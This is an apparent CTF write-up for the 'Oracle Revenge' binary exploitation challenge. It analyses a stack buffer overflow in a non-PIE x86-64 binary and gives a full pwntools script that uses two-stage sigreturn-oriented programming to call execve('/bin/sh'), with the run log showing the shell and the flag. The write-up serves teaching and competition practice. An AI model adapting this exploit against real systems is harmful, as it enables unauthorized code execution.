Skip to main content
Oracle Revenge - CTF Writeup
  1. Writeups/
  2. MOJO-JOJO - CTF Writeups/
  3. Binary Exploitation/

Oracle Revenge - CTF Writeup

·995 words·5 mins·
Deadnaut
Author
Deadnaut
Documenting cybersecurity challenges, CTF writeups, and penetration testing insights from the digital frontier.
Table of Contents

Challenge Name: Oracle Revenge
Category: PWN
CTF: MOJO-JOJO
Description: The silence has deepened, and the echoes have turned hostile. The orchestra is gone, leaving only the raw signal in the void. Can you conduct the dissonance and reclaim the silence?
Connection: nc mojo-pwn.securinets.tn 9004


Initial Reconnaissance
#

Binary Analysis
#

$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, not stripped

Security Protections
#

$ checksec file main
RELRO           Stack Canary      NX            PIE             
Full RELRO      No Canary Found   NX enabled    PIE Disabled

Key observations:

  • No Stack Canary - Buffer overflows are exploitable
  • NX Enabled - Cannot execute shellcode on stack
  • No PIE - Fixed addresses, simplifies exploitation
  • Full RELRO - GOT is read-only, no GOT overwrite possible

Running the Binary
#

$ ./main
════════════════════════════════
     ECHOES Revenge
════════════════════════════════
Only signals remain.
════════════════════════════════
The void echoes louder...
Use this echo to guide your signal: 0x0000000000404020
Speak signal:

The binary prints an address (0x404020) which is a hint for exploitation.

Vulnerability Analysis
#

Disassembly of listen() Function
#

0000000000401330 <listen>:
  401330:       sub    rsp,0x28        ; Allocate 40 bytes
  ...
  401389:       xor    edi,edi
  40138b:       mov    rsi,rsp
  40138e:       mov    edx,0x400       ; Read 1024 bytes!
  401393:       mov    rax,0x0
  40139a:       syscall                ; read(0, rsp, 0x400)
  40139c:       add    rsp,0x28
  4013a0:       ret

Critical Vulnerability: The function allocates only 40 bytes (0x28) on the stack but reads up to 1024 bytes (0x400). This is a classic buffer overflow.

Finding the Offset
#

Using a cyclic pattern to determine the exact offset to the return address:

$ python3 -c "from pwn import *; print(cyclic(100))" | gdb ./main -batch -ex 'r' -ex 'x/gx $rsp'
0x7fffffffd658: 0x6161616c6161616b

$ python3 -c "from pwn import *; print('Offset:', cyclic_find(0x6161616c))"
Offset: 40

The offset to control RIP is 40 bytes.

Available Gadgets
#

objdump -d main | grep -A 2 "pop\|syscall"

Limited gadgets available:

  • 0x401310: pop rax; ret
  • 0x401320: syscall; ret
  • 0x4011bd: pop rbp; ret
  • 0x401257: pop rbx; ret

Problem: We only have pop rax for setting registers, but we need to set rdi, rsi, rdx for syscalls!

Key Memory Regions
#

  • 0x404020: scratch_buffer - Writable memory region (size 0x1000)
  • This address is leaked to us at runtime!

Exploitation Strategy
#

Since we lack gadgets to set all necessary registers (rdi, rsi, rdx), we use SROP (Sigreturn Oriented Programming). SROP allows us to set all registers at once using the rt_sigreturn syscall.

Two-Stage Attack
#

Stage 1: Write Second Payload to Known Location
#

  1. Trigger buffer overflow
  2. Use SROP to call read(0, scratch_buffer, 0x100)
    • Set rax = 0 (read syscall)
    • Set rdi = 0 (stdin)
    • Set rsi = scratch_buffer (destination)
    • Set rdx = 0x100 (size)
    • Set rsp = scratch_buffer + 0x18 (new stack location)
  3. This reads our second payload into scratch_buffer

Stage 2: Execute Shell
#

  1. Write “/bin/sh\x00” + ROP chain to scratch_buffer
  2. Use another SROP to call execve("/bin/sh", NULL, NULL)
    • Set rax = 59 (execve syscall)
    • Set rdi = scratch_buffer (pointer to “/bin/sh”)
    • Set rsi = 0 (argv = NULL)
    • Set rdx = 0 (envp = NULL)
  3. Get shell!

SROP Primer
#

The rt_sigreturn syscall (number 15) restores CPU context from a sigreturn frame on the stack. By crafting this frame, we can set all registers to arbitrary values:

frame = SigreturnFrame()
frame.rax = 59        # Syscall number
frame.rdi = addr      # First argument
frame.rsi = 0         # Second argument
frame.rdx = 0         # Third argument
frame.rsp = stack     # Stack pointer
frame.rip = gadget    # Instruction pointer

Solution
#

Exploit Code
#

#!/usr/bin/env python3
from pwn import *

# Target configuration
HOST = 'mojo-pwn.securinets.tn'
PORT = 9004

# Binary analysis
elf = ELF('./main', checksec=False)
context.arch = 'amd64'
context.binary = elf

# Gadgets and addresses
pop_rax = 0x401310      # pop rax; ret
syscall_ret = 0x401320  # syscall; ret
scratch_buffer = 0x404020  # writable memory

def exploit():
    """Two-stage SROP exploit"""
    p = remote(HOST, PORT)
    
    # Receive the leaked address
    p.recvuntil(b'echo to guide your signal: ')
    leaked_addr = int(p.recvline().strip(), 16)
    print(f"[*] Leaked scratch_buffer: {hex(leaked_addr)}")
    
    p.recvuntil(b'Speak signal:\n')
    
    # Stage 1: Buffer overflow + SROP to call read()
    offset = 40
    payload = b'A' * offset
    
    # Trigger rt_sigreturn
    payload += p64(pop_rax)
    payload += p64(15)  # rt_sigreturn syscall number
    payload += p64(syscall_ret)
    
    # Sigreturn frame for read(0, scratch_buffer, 0x100)
    frame1 = SigreturnFrame()
    frame1.rax = 0                      # read syscall
    frame1.rdi = 0                      # stdin
    frame1.rsi = leaked_addr            # destination
    frame1.rdx = 0x100                  # size
    frame1.rsp = leaked_addr + 0x18     # new stack
    frame1.rip = syscall_ret            # execute syscall
    
    payload += bytes(frame1)
    
    print(f"[*] Sending stage 1: {len(payload)} bytes")
    p.send(payload)
    
    sleep(0.3)
    
    # Stage 2: Write to scratch_buffer
    # Layout:
    # [0x00-0x07]: "/bin/sh\x00"
    # [0x08-0x17]: padding
    # [0x18]: ROP chain (return address after syscall; ret)
    
    stage2 = b'/bin/sh\x00'  # String at scratch_buffer
    stage2 += b'B' * 16       # Padding to offset 0x18
    
    # ROP chain continues here (after read returns)
    stage2 += p64(pop_rax)
    stage2 += p64(15)         # rt_sigreturn again
    stage2 += p64(syscall_ret)
    
    # Sigreturn frame for execve("/bin/sh", NULL, NULL)
    frame2 = SigreturnFrame()
    frame2.rax = 59                     # execve syscall
    frame2.rdi = leaked_addr            # "/bin/sh"
    frame2.rsi = 0                      # argv = NULL
    frame2.rdx = 0                      # envp = NULL
    frame2.rsp = leaked_addr + 0x400    # safe stack
    frame2.rip = syscall_ret            # execute execve
    
    stage2 += bytes(frame2)
    
    print(f"[*] Sending stage 2: {len(stage2)} bytes")
    p.send(stage2)
    
    sleep(0.2)
    
    # Get shell!
    p.interactive()

if __name__ == '__main__':
    exploit()

Running the Exploit
#

$ python3 solve.py
[*] Leaked scratch_buffer: 0x404020
[*] Sending stage 1: 312 bytes
[*] Sending stage 2: 296 bytes
[*] Switching to interactive mode
$ ls
flag.txt
main
$ cat flag.txt
MOJO-JOJO{St4ck_P1v0t1ng_1nt0_Th3_V0id_Of_Ch40s!}

Key Takeaways
#

  1. SROP is powerful when you lack traditional ROP gadgets - it allows setting all registers with just pop rax; ret and syscall; ret
  2. Two-stage exploits can bypass limitations by using one syscall to write a more complex payload
  3. Information leaks (like the scratch_buffer address) are crucial for exploiting non-PIE binaries
  4. Cyclic patterns are essential for finding exact buffer overflow offsets
  5. The challenge name hints at the technique: “Oracle” (information leak) and “Revenge” (ECHOES Revenge from the banner)

Flag
#

MOJO-JOJO{St4ck_P1v0t1ng_1nt0_Th3_V0id_Of_Ch40s!}

Related